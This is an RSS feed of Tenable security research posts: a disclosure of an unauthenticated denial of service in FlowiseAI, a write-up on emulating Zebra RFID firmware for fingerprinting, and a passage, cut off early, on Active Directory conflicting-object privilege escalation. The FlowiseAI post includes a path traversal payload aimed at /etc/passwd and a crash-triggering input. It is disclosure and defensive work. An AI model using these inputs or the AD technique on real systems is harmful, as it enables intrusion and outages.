<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Tenable TechBlog - Medium]]></title>
        <description><![CDATA[Learn how Tenable finds new vulnerabilities and writes the software to help you find them - Medium]]></description>
        <link>https://medium.com/tenable-techblog?source=rss----68728ef06732---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Tenable TechBlog - Medium</title>
            <link>https://medium.com/tenable-techblog?source=rss----68728ef06732---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 13 Nov 2026 03:27:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/tenable-techblog" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2024–8182 : Accidental Discovery of an Unauthenticated DoS]]></title>
            <link>https://medium.com/tenable-techblog/cve-2024-8182-accidental-discovery-of-an-unauthenticated-dos-1d89947a09a4?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/1d89947a09a4</guid>
            <category><![CDATA[tenable-research]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Joshua Martinelle]]></dc:creator>
            <pubDate>Fri, 13 Sep 2024 14:17:47 GMT</pubDate>
            <atom:updated>2024-09-13T14:17:47.709Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2024–8182 : Accidental Discovery of an Unauthenticated DoS</h3><p>While reviewing some LLM related products with the team, we came across <a href="https://github.com/FlowiseAI/Flowise">FlowiseAI</a>.</p><p>FlowiseAI is an open-source tool for building conversational AI applications and chatbots. It provides a low-code platform with a visual interface that allows users to create AI workflows by connecting different nodes and components.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nQBPrk4VR_pbZ4af" /><figcaption><a href="https://github.com/FlowiseAI/Flowise">https://github.com/FlowiseAI/Flowise</a></figcaption></figure><p>Seeing that the product was already affected by several weaknesses, in particular <a href="https://www.exploit-db.com/exploits/52001">CVE-2024–31621</a>, we thought it would be particularly interesting to see if any other weaknesses could be discovered.</p><p>The result was the discovery of several vulnerabilities, including two currently published with a CVE number</p><ul><li><a href="https://www.tenable.com/cve/CVE-2024-8181">CVE-2024–8181</a> : An Authentication Bypass found by my colleague <a href="https://medium.com/@rmarot">Rémy Marot</a></li><li><a href="https://www.tenable.com/cve/CVE-2024-8182">CVE-2024–8182</a> : An Unauthenticated Denial of Service</li></ul><p>This was discovered by <a href="https://www.tenable.com/research">Tenable Research</a> while working on web application security.</p><p>This blog post focuses on the second discovery which turned out to be an accidental discovery.</p><p>An examination of <a href="https://www.exploit-db.com/exploits/52001">CVE-2024–31621</a> reveals that Flowise exposes various unauthenticated endpoints, among which we can find /api/v1/get-upload-file/ which allows a user chatting with a model to retrieve content used (eg an image) during a conversation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9mX_QpxahrX1FKuI" /></figure><p>When a chat is initiated and it contains a document, a request is made to the URL</p><pre>http://[FLOWISE_URL]/api/v1/get-upload-file?chatflowId=[ID]&amp;chatId=[ID]&amp;fileName=[NAME]</pre><p>Using this endpoint and following the flow of function calls, we come across the streamStorageFile constant, whose purpose is to retrieve the requested file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X4lfK7WicAyMQ9Zn" /></figure><p>In our case, we’re not using Bucket (S3) for storage, so we fall in the else part line 299 that seeks to retrieve a file locally.</p><p>An unauthenticated endpoint fetching a local file, the perfect conditions for testing different path traversal cases.</p><p>A few remarks about the piece of code we’re watching</p><pre>// path.join() automatically resolves relative paths and `..` sequences<br>// so it &quot;always&quot; creates a normalized path<br>const filePath = path.join(getStoragePath(), chatflowId, chatId, filename)<br><br>// So the checks path.isAbsolute() and filePath.includes() are<br>// therefore unnecessary here<br>if (filePath.includes(&#39;..&#39;)) throw new Error(`Invalid file path`)<br>if (!path.isAbsolute(filePath)) throw new Error(`Invalid file path`)</pre><p>With these 3 lines, we could say that finally the only value that matters is fileName and that we can place our payload there such as ../../../etc/passwd.</p><pre>// Path.join() performs the normalization and the value <br>// obtained for this is now /etc/passwd<br>const filePath = path.join(getStoragePath(), &#39;1&#39;, &#39;2&#39;, &#39;/../../../etc/passwd&#39;)</pre><p>The problems start with the following line</p><pre>export const getStoragePath = (): string =&gt; {<br>    return process.env.BLOB_STORAGE_PATH ? path.join(process.env.BLOB_STORAGE_PATH) : path.join(getUserHome(), &#39;.flowise&#39;, &#39;storage&#39;)<br>}<br><br>[...]<br><br>//only return from the storage folder<br>if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)</pre><p>The filePath value must start with a specific path, which by default corresponds to the /root/.flowise/storage folder.</p><p>without going into details, in our case this file is not very interesting and greatly reduces the impact of the vulnerability.</p><p>However, while running a few tests, I noticed at one point that my instance was no longer responding. I had put a simple dot in the parameter name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4OwJlSao0sz3tLSD" /></figure><p>On the code side, it looks like this</p><pre>// Path.join() performs the normalization and the value <br>// obtained for this is now /root/.flowise/storage<br>const filePath = path.join(getStoragePath(), &#39;.&#39;, &#39;.&#39;, &#39;.&#39;)<br><br>// This condition is validated because getStoragePath() == filePath<br>if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)<br><br><br>// fs.existsSync checks whether a file or directory exists <br>// at the specified location<br>if (fs.existsSync(filePath)) {<br>    // fs.createReadStream create a read stream for the specified file<br>    return fs.createReadStream(filePath)<br>} else {<br>    throw new Error(`File ${fileName} not found`)<br>}</pre><p>Among the various problems posed by this implementation, the problem here is that fs.existsSync() doesn’t distinguish between a file and a directory, except that fs.createReadStream() expects to receive a file.</p><p>As the value supplied is a directory, an unhandled exception is thrown and the application crashes.</p><p>To date, despite several reminders and the acknowledgement of other vulnerabilities, the Flowise team has not followed up and has not informed us of a potential fix.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d89947a09a4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/cve-2024-8182-accidental-discovery-of-an-unauthenticated-dos-1d89947a09a4">CVE-2024–8182 : Accidental Discovery of an Unauthenticated DoS</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IoT firmware emulation and device fingerprinting challenges]]></title>
            <link>https://medium.com/tenable-techblog/iot-firmware-emulation-and-device-fingerprinting-challenges-09e26b9b7fae?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/09e26b9b7fae</guid>
            <category><![CDATA[firmware-analysis]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[rfid]]></category>
            <category><![CDATA[fingerprint]]></category>
            <category><![CDATA[tenable-research]]></category>
            <dc:creator><![CDATA[Gabriel Compan [Tenable]]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 13:56:06 GMT</pubDate>
            <atom:updated>2025-02-17T17:18:26.364Z</atom:updated>
            <content:encoded><![CDATA[<p>Gathering information on a device could be tricky if you don’t have direct access to exposed services like SNMP, HTTP, FTP, or any other ports or protocols which could provide relevant information on the asset like the firmware revision or the exact model version.</p><p>Emulating a firmware can be particularly useful in the context of device fingerprinting in order to access unavailable devices but also in vulnerabilities finding as it allows a deeper understanding of the device behavior.</p><p>However, the very first step of emulating a device can be tricky because of a lot of technical constraints. The emulator must support the same architecture as the device, a device which also often interacts with specific hardware components. Firmware can also contain proprietary or obfuscated code. To sum up, it expects a certain environment setup which needs to be replicated in order to have everything run smoothly.</p><h3>Initial hypothesis</h3><p>The initial hypothesis is that we need to fingerprint Zebra RFID readers, ideally in a non-authenticated manner. However, aside from parsing the certificate, our initial investigations on client devices did not reveal any relevant unauthenticated endpoints that could at least identify the device model.</p><p>For our study we chose the Zebra RFID reader FX9600. Firmware is common with the ATR7000 model and is available <a href="https://www.zebra.com/fr/fr/support-downloads/rfid/array-readers/atr7000.html?downloadId=8f79572e-c67a-46c1-ae8e-433297738a1f">here</a>. Analyzing such a device is highly beneficial due to its extensive industrial use, but also for its potential security vulnerabilities and opportunities for device fingerprinting. Device fingerprinting is what we’ll be focusing on in this article.</p><h3>Quickest approach</h3><p>Replicating an entire physical device is typically more of a scavenger hunt. A first interesting tool we had a look at is <a href="https://github.com/firmadyne/firmadyne">firmadyne</a> which is designed to mimic Linux-based firmware for MIPS and ARM architectures. It’s built upon the QEMU project. In order to automate some firmadyne tasks, there is also a wrapper called <a href="https://github.com/attify/firmware-analysis-toolkit">FAT</a> (firmware analysis toolkit) from Attify.</p><p>However, these tools are not magic and their use isn’t flawless as we may face a lot of binaries that don’t emulate correctly <strong>mainly due to the absence of hardware in the emulated environment</strong>. In these situations, some manual adjustments may be required.</p><p>Let’s try a first naive run of firmadyne without specific configuration. The very first step consists in extracting the firmware image using <em>extractor.py</em>. This is a recursive firmware extractor that aims to extract a kernel image and/or compressed filesystem from a Linux-based firmware image (using the binwalk python library under the hood).</p><pre>$ sudo -- /home/iot/tools/firmware-analysis-toolkit/firmadyne/sources/extractor/extractor.py -b Zebra -np -nk ./FX_ATR_3.25.70.zip /home/iot/tools/firmware-analysis-toolkit/firmadyne/images<br><br>/home/iot/Work/Zebra/FX_ATR_3.25.70.zip<br>&gt;&gt; MD5: a3c086bc4bfe7e554a6c90713b8bf0df<br>&gt;&gt; Tag: FX_ATR_3.25.70.zip_a3c086bc4bfe7e554a6c90713b8bf0df<br>&gt;&gt; Temp: /tmp/tmp62gf_can<br>&gt;&gt; Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True<br>&gt;&gt;&gt;&gt; Zip archive data, at least v2.0 to extract, name: FXSERIES-3.25.70/<br>&gt;&gt; Recursing into archive ...<br> <br>/tmp/tmp62gf_can/_FX_ATR_3.25.70.zip.extracted/FXSERIES-3.25.70/fxupdate.elf<br> &gt;&gt; MD5: 18c9c99cffc020590416fa9f38a7dde3<br> &gt;&gt; Skipping: application/x-executable...<br> <br>/tmp/tmp62gf_can/_FX_ATR_3.25.70.zip.extracted/FXSERIES-3.25.70/osupdate.elf<br> &gt;&gt; MD5: 593d8e95b3af222e55cb753488ccdae5<br> &gt;&gt; Skipping: application/x-executable...<br> <br>...<br>   <br>/tmp/tmpxfde794b/_4798.extracted/AA8468<br>   &gt;&gt; MD5: 43467c660f7dc10b8bc2aeb59d282b93<br>   &gt;&gt; Tag: FX_ATR_3.25.70.zip_a3c086bc4bfe7e554a6c90713b8bf0df<br>   &gt;&gt; Temp: /tmp/tmp8a1a2zj9<br>   &gt;&gt; Status: Kernel: True, Rootfs: False, Do_Kernel: False,                 Do_Rootfs: True<br>   &gt;&gt;&gt;&gt; ASCII cpio archive (SVR4 with no CRC), file name: &quot;dev&quot;, file name length: &quot;0x00000004&quot;, file size: &quot;0x00000000&quot;<br>   &gt;&gt; Recursing into archive ...</pre><p>Then it hangs when walking through an archive and trying to extract an item named “<em>console</em>”. Using such tools can save time if you know what you’re doing, but it requires some configuration and does not often work out of the box as the tool may face deeply nested archives and unsupported formats. It’s worthwhile to attempt manual analysis in parallel to better understand the firmware structure and later guide the tools to be more effective with a correct configuration.</p><h3>Emulated services in a sandbox environment</h3><p>In many cases, it’s not always necessary to emulate the entire system to interact with relevant services. Extracting the filesystem and emulating the services we need in a sandboxed environment may be enough.</p><p>Extracting the firmware archive shows the following files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/0*GWHJMaBAe_CZMC0C" /></figure><p>Here is a quick reminder of the boot process of an embedded Linux system; it all starts from a minimal and immutable ROM code, which then calls an initial boot loader (X-Loader). The X-Loader main function is to initialize various system components, including CPU registers, device controllers, and the content of the central memory. After initialization, the X-Loader locates the Universal Bootloader (U-Boot) in the boot partition of the internal memory card and loads it. The U-Boot<em> </em>on its own performs advanced hardware initialization and loads the Linux kernel into memory. The kernel continues the initialization process, mounts the root filesystem, sets up the operating system environment, and starts user-space processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/0*4NFjajnAs0oZsLNJ" /><figcaption>Boot process</figcaption></figure><h4><strong>Mounting the filesystem</strong></h4><p>What is the <em>.jffs2</em> file name extension? JFFS2 (Journaling Flash File System 2) is designed for use with NAND and NOR flash memory devices. It’s typically used in embedded systems and is designed to handle the characteristics of flash memory devices.</p><p>When working with JFFS2 images, you typically use an MTD (Memory Technology Device) rather than a regular block device. This can be somewhat a bit trickier when trying to mount a JFFS2 filesystem image on a standard Linux system. <a href="https://github.com/onekey-sec/jefferson">Jefferson</a> tool could be a good alternative to extract the filesystem, simplifying the process.</p><h4><strong>Extracting JFFS2 filesystems</strong></h4><p>Let’s reconcile the JFFS2 files and extract the <em>root</em> and <em>platform</em> filesystems:</p><pre>$ cat rootfs_3.21.10.0.jffs2 rootfs_3.21.10.0.jffs2_2 rootfs_3.21.10.0.jffs2_3 rootfs_3.21.10.0.jffs2_4 &gt; rootfs_combined.jffs2<br>$ poetry run jefferson /home/iot/Work/Zebra/FXSERIES-3.25.70/rootfs_combined.jffs2 -d /tmp/jffs2-root<br>$ poetry run jefferson /home/iot/Work/Zebra/FXSERIES-3.25.70/platform_3.25.70.0.jffs2 -d /tmp/platform</pre><pre>$ ls -l /tmp/jffs2-root/<br>total 60<br>lrwxrwxrwx  1 iot iot   10 May  7 16:32 apps -&gt; /mnt/data/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 bin/<br>drwxrwxr-x  3 iot iot 4096 May  7 16:32 dev/<br>drwxrwxr-x 39 iot iot 4096 May  7 16:32 etc/<br>drwxrwxr-x  3 iot iot 4096 May  7 16:32 home/<br>drwxrwxr-x  7 iot iot 4096 May  7 16:32 lib/<br>drwxrwxr-x  4 iot iot 4096 May  7 16:32 media/<br>drwxrwxr-x  5 iot iot 4096 May  7 16:32 mnt/<br>lrwxrwxrwx  1 iot iot   14 May  7 16:32 platform -&gt; /mnt/platform/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 proc/<br>lrwxrwxrwx  1 iot iot   18 May  7 16:32 readerconfig -&gt; /mnt/readerconfig/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 run/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 sbin/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 selinux/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 sys/<br>drwxrwxr-x  2 iot iot 4096 May  7 16:32 tmp/<br>drwxrwxr-x 10 iot iot 4096 May  7 16:32 usr/<br>drwxrwxr-x 12 iot iot 4096 May  7 16:32 var/<br><br>$ ls -l /tmp/platform/<br>total 36<br>drwxrwxr-x 3 iot iot 4096 May  7 16:34 appsconfig/<br>drwxrwxr-x 2 iot iot 4096 May  7 16:34 bin/<br>drwxrwxr-x 8 iot iot 4096 May  7 16:34 config/<br>drwxrwxr-x 3 iot iot 4096 May  7 16:34 lib/<br>drwxrwxr-x 3 iot iot 4096 May  7 16:34 radio_firmware/<br>drwxrwxr-x 2 iot iot 4096 May  7 16:34 schema/<br>drwxrwxr-x 2 iot iot 4096 May  7 16:34 scripts/<br>drwxrwxr-x 9 iot iot 4096 May  7 16:34 www/<br>drwxrwxr-x 8 iot iot 4096 May  7 16:34 ZebraLicensedApps/</pre><p>The <em>platform</em> partition seems to be mounted at <em>/mnt/platform</em> on the root filesystem. It contains a lot of binaries and scripts to init the platform environment.</p><figure><img alt="FX Series RFID Fixed Reader Integration Guide (en) (zebra.com) — See Update Phases" src="https://cdn-images-1.medium.com/max/631/0*GQWN22GVI_7L7cUo" /><figcaption><a href="https://www.zebra.com/content/dam/zebra_new_ia/en-us/manuals/rfid/fxseries-ig-en.pdf"><em>FX Series RFID Fixed Reader Integration Guide (en) (zebra.com)</em></a><em> — See Update Phases</em></figcaption></figure><h4><strong>Binaries architecture</strong></h4><p>Let’s find the binaries architecture:</p><pre>$ pwd<br>/tmp/jffs2-root/bin<br>$ file bash<br>bash: broken symbolic link to /bin/bash.bash<br>$ file bash.bash<br>bash.bash: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=739951b0f6b625faf91fd0a6f635e56473a7efee, stripped</pre><p>After identifying the architecture of the binaries, we can now proceed to use the appropriate QEMU static version to emulate the firmware’s <strong>little-endian ARM 32-bit </strong>binaries.</p><h4><strong>QEMU Emulation</strong></h4><p>First we are installing QEMU and the cross-compiled 32 bits ARM libc library:</p><pre>$ sudo apt install qemu-user-static libc6-armhf-cross libc6-dev-armhf-cross</pre><p><em>More information on </em><a href="https://wiki.debian.org/QemuUserEmulation"><em>https://wiki.debian.org/QemuUserEmulation</em></a><em>.</em></p><p>Let’s try to emulate the <em>ls</em> command:</p><pre>$ cd /tmp/jffs2-root/<br>$ cp /usr/bin/qemu-arm-static ./usr/bin<br>$ sudo chroot . /usr/bin/qemu-arm-static /bin/ls<br>Error while loading /bin/ls: Exec format error</pre><pre>$ ls -lrt bin/ls <br>lrwxrwxrwx 1 iot iot 23 May  7 16:32 bin/ls -&gt; /usr/lib/busybox/bin/ls<br>$ cat usr/lib/busybox/bin/ls <br>#!/bin/busybox.nosuid </pre><p>After investigating it seems that the shebang (#!) in the <em>busybox</em> proxy scripts is not interpreted under the right architecture. To solve this issue, QEMU can be used in combination with <em>binfmt_misc</em>, a kernel feature that allows arbitrary executable file formats to be recognized and passed to certain user space applications, like emulators.</p><pre>$ sudo apt install binfmt_misc</pre><p>Here is how we registered <em>qemu-arm-static</em> as ARM interpreter to the Linux kernel:</p><pre>$ sudo echo &#39;:arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-arm-static:C&#39; &gt; /proc/sys/fs/binfmt_misc/register<br>$ sudo mount -o bind /proc /tmp/jffs2-root/proc/</pre><p>Let’s give another shot:</p><pre>$ sudo chroot . /bin/bash<br>bash-5.1# uname -m<br>armv7l</pre><p>Now we are good at emulating our ARM32 binaries.</p><h4><strong>Quick analysis of the Reader Management binary</strong></h4><p>The FX9600 RFID Reader features a web interface for administration. This is a service we will inspect in order to create some HTTP fingerprinting rules.</p><p>Having a look at the <em>www</em> directory, we see a collection of static html files and the following directories:</p><pre>$ find * -maxdepth 0 -type d<br>atr7000<br>cgi-bin<br>help<br>images<br>lib<br>node-server<br>wsgi-bin</pre><p>It appears that an Apache server hosts a Python/WSGI application. Also two javascript files (<em>ReadTagsServer.js</em>, <em>ReadTagsServer_secure.js</em>) in the <em>node-server</em> directory require a Node.js environment. A smooth run will require many dependencies, and simply copying the Python files to run the application locally will not suffice. However, let’s give it a first shot.</p><p>After fixing a missing logs directory:</p><pre>bash-5.1# mkdir -p /var/volatile/log/apache2/<br>bash-5.1# apachectl -f /platform/config/apache2/conf/httpd.conf<br>Unsupported setsockopt level=1 optname=15<br>bash-5.1# ps -aux | grep httpd | grep -v grep<br>root     30107  0.1  0.3  68116 15864 ?        Ssl  15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf<br>daemon   30109  1.1  0.8 306892 34012 ?        Sl   15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf<br>daemon   30110  1.1  0.8 306884 34016 ?        Sl   15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf<br>daemon   30113  1.1  0.8 306884 34020 ?        Sl   15:53   0:00 /usr/bin/qemu-arm-static /usr/sbin/httpd -f /platform/config/apache2/conf/httpd.conf</pre><p>We got access to the home page. However it seems that the picture at the top right is generic (FX7500 model). We’ll see later where the model is properly set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-qh7GdQwg-YJCZy2" /></figure><p>While crawling the www directory, we found a page with an explicit name (versioninfo.html):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GjqS9vv9OfmmxDWO" /></figure><p>While trying to request this page, an XHR (XMLHttpRequest) was sent to the <em>/control</em> endpoint but received a 500 status code in response:</p><pre>bash-5.1# grep /control /platform/config/apache2/conf/extra/httpd-vhosts-web.conf <br>    Alias /control &quot;/platform/www/wsgi-bin/rm.wsgi&quot;</pre><p>Having a look at <em>rm.wsgi</em>, it seems that it tries to make a request to a local <em>rmserver.elf</em> binary listening on <em>localhost:50009</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QX0bOaIjamn-ykNY" /></figure><p>This binary is not running and is probably started when the device boots (it is called by another binary <em>/platform/bin/initthredbo.elf</em>). In fact the “Reader Management” server is responsible for handling all the reader information and management requests (see <a href="https://zebradevs.github.io/rfid-ziotc-docs/other_cloud_support/HTTP_POST/RM.html"><em>Configure device using RM Interface — Zebra IoT Connector documentation</em></a>).</p><pre>bash-5.1# export LD_LIBRARY_PATH=$PATH:/mnt/platform/lib/<br>bash-5.1# /mnt/platform/bin/rmserver.elf<br>thredbo_getpowertype: Cannot open device.<br>No adapter found.<br>No adapter found.<br>wdog_settimeout: wdog not opened<br>Stopping syslogd/klogd: no syslogd found; none killed<br>thredboapi: Cannot open device.<br>thredbo_getpowertype: Cannot open device.<br>thredbo_gethardwareid: Cannot open device.<br>ERROR: bad block in /dev/mtdblock2 at 0x0<br>ERROR: bad block in /dev/mtdblock2 at 0x20000<br>thredboapi: Cannot read mfg area<br>Invalid Model Name, Failed to start ReaderServer.....</pre><p><em>rmserver.elf</em> is calling some <em>thredbo_xxx()</em> functions which are defined in the <em>libthredboapi.so</em> library. It appears that if the <strong><em>thredbo_getreadertype()</em> function fails, the binary exits with an error</strong>. The reader type will be necessary, as we will see a bit later, to configure the device the proper way.</p><p>Here is the message we just got at the bottom of the stack errors (some functions may be renamed for clarity):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*-bTDrkN2x4F1Osuc" /></figure><p>The <em>get_device_info() </em>function makes several API calls (<em>libthredboapi) </em>to retrieve some hardware information.</p><p>Let’s have a look at the specific <em>thredbo_getreadertype() </em>function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/0*LLu667x634Th47pq" /></figure><p>The <em>thredbo_getreadertype() </em>function calls a function named <em>read_mfg_data() </em>(understand read manufacturing data)<em> </em>which tries to read a<em> MTD </em>block:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/0*f_xgmxciF7ndrx3N" /></figure><p>If it succeeds, it reads and performs some checks against the device manufacturing data.</p><p>At this point, it looks like the block device <em>/dev/mtdblock2</em>, which acts as an interface to the MTD partition <em>/dev/mtd2</em>, is missing. MTD (Memory Technology Devices) are NAND/NOR-based flash memory chips used for storing non-volatile data like boot images and configurations.</p><p>The most likely hypothesis is that this “manufacturing” data comes hard-coded within a memory chip, which makes sense as the mac address is read from this MTD block.</p><h4><strong>Static files to the rescue for fingerprinting</strong></h4><p>If no information is leaking from unauthenticated requests, web static files might provide some.</p><p>As the firmware is common to several reader models, different configurations apply depending on the model. As an example, the <em>rmserver.elf</em> binary is responsible to configure some web content based on the reader type:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/0*MgmHm2_jML-BtL_t" /></figure><p>As the specific device picture is renamed to <em>devicemodel.jpg</em>, comparing the checksum of this resource against the checksums of the other devices’ pictures, like <em>devicemodel_fx9600.jpg</em>, may help to fingerprint the model.</p><h4><strong>Patching the Reader Management binary</strong></h4><p>At this point the easiest way to provide the device type is to patch our <em>rmserver.elf</em> to tell that the model is of type 3 (fx9600) and to continue to run the code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eEcmalFqZ5lQqQcw" /></figure><p>At this stage, a backup configuration file seems missing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/0*mscGWs5vB-VjpBty" /></figure><p>This backup file is needed as the main configuration file is missing (AdvReaderConfig.xml).</p><p>We found an example of an FX7400 reader profile in the documentation from which we wrote our configuration file. Unfortunately, but not unexpectedly, other errors occurred, and the server crashed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/0*iDYoWBjgYAVIMMYQ" /></figure><p>The <em>ReadTagsServer.js</em> is responsible for managing the tag reads. However, its execution is not essential in our case, so we patched the binary to continue the main execution flow. The server finally crashed with a segmentation fault:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/0*ivsLYB7I-AKwi7nS" /></figure><p>While our server is not yet listening on port 50009, we now have a better understanding of how things are articulated within this firmware.</p><h3>What’s next</h3><p>At this point, we concluded that too many dependencies were required for proper emulation of this binary, leading us down what is commonly referred to as a “rabbit hole”.</p><p>This “Reader Management” binary has indeed numerous dependencies, and we are limited by the lack of data read from the physical hardware of the RFID reader. However, analyzing the filesystem and doing a quick analysis of the binary gave us enough clues to help us to fingerprint the model.</p><p>Also, after a more thorough investigation of the web resources, no other information like the version or serial number seems to be accessible without authentication.</p><p>Despite the difficulties, identifying the model of an RFID device remains relevant. It enables targeted support and maintenance and aids in accurate inventory management.</p><p>If we continue to delve deeper into the subject, we might explore other avenues, including kernel-level emulation. This could present challenges, such as accurately replicating hardware interactions, and emulating the SNMP daemon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09e26b9b7fae" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/iot-firmware-emulation-and-device-fingerprinting-challenges-09e26b9b7fae">IoT firmware emulation and device fingerprinting challenges</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using conflicting objects in Active Directory to gain privileges]]></title>
            <link>https://medium.com/tenable-techblog/using-conflicting-objects-in-active-directory-to-gain-privileges-243ef6a27928?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/243ef6a27928</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[tenable-research]]></category>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[Antoine Cauchois]]></dc:creator>
            <pubDate>Wed, 31 Jul 2024 16:05:55 GMT</pubDate>
            <atom:updated>2024-07-31T16:05:55.526Z</atom:updated>
            <content:encoded><![CDATA[<h3>Summary</h3><p>Active Directory (AD) uses a multi-master replication model to have a decentralized infrastructure. As long as one domain controller (DC) is up and reachable, services such as authentication are available. The replication process is a complex topic having multiple concepts such as: site, connection object or site topology. Consider reviewing <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/replication/active-directory-replication-concepts">Microsoft documentation: Active Directory Replication Concepts</a> if those notions are new to you.</p><p>Over the past few years, I’ve sometimes seen conflicting objects known as “CNF” objects. But I’ve never had a chance to play with them, let’s change that😏!</p><p>This replication process generally works well and can automatically manage some conflict cases. But when the conflict is hard to resolve, especially when two objects are created with the same name, in the same container and within a short period of time, Active Directory will rename one of these objects by adding the suffix \0ACNF:&lt;objectGuid attribute value&gt; to keep all <em>distinguishedName</em> (DN) unique. In this kind of situation, those conflicts should be manually resolved.</p><p>Can we create such objects on demand? Yes of course😉! But what is the process? How does it work? There are a few articles on the subject (but not a lot) that I will refer to in the first part to have a good understanding of the topic. And then, we will see how we can obtain admin access to machines that newly join the domain.</p><p><em>This was discovered by </em><a href="https://www.tenable.com/research"><em>Tenable Research</em></a><em> while working on identity security.</em></p><h3>TL;DR</h3><p>For those who can’t read the whole post:</p><ol><li>An attacker authenticated as a standard domain user can listen and be notified of any new legitimate machine joining the domain, and then create a conflicting object. As long as the <em>ms-DS-MachineAccountQuota</em> attribute value is greater than zero (default case), they can create the same machine account on another domain controller before the replication occurs.</li><li>By duplicating this conflicting machine account, the normal machine cannot contact the domain and thus cannot be used to log in with a domain user. Only a local user can be used.</li><li>If the administrator wants to fix it without removing the machine from the domain, they will use a local administrator account to repair the secure channel.</li><li>If the attacker is lucky (50–50 chance), the fake machine account will be selected by the Active Directory as the authentic account.</li><li>Once the secure channel between the machine and the domain is fixed, the attacker who created the fake machine account has privileges on this machine account through the <em>msDS-AllowedToActOnBehalfOfOtherIdentity</em> attribute. It can be used by the attacker to abuse Resource-Based Constrained Delegation (RBCD) and gain administrator privileges on the authentic newly joined machine.</li></ol><p>A PowerShell script is publicly available on <a href="https://github.com/tenable/CnfForTheWin">GitHub</a> to detect a new machine (1) and create a duplicate account (2).</p><h3>Definitions</h3><p>We will focus our research on <a href="https://learn.microsoft.com/en-us/windows/win32/ad/security-principals">security principals</a>, which are AD objects from the following classes: user, computer and group.</p><p>Security principals can be <a href="https://learn.microsoft.com/en-us/windows/win32/ad/object-names-and-identities">uniquely</a> identified with different attributes:</p><ul><li><a 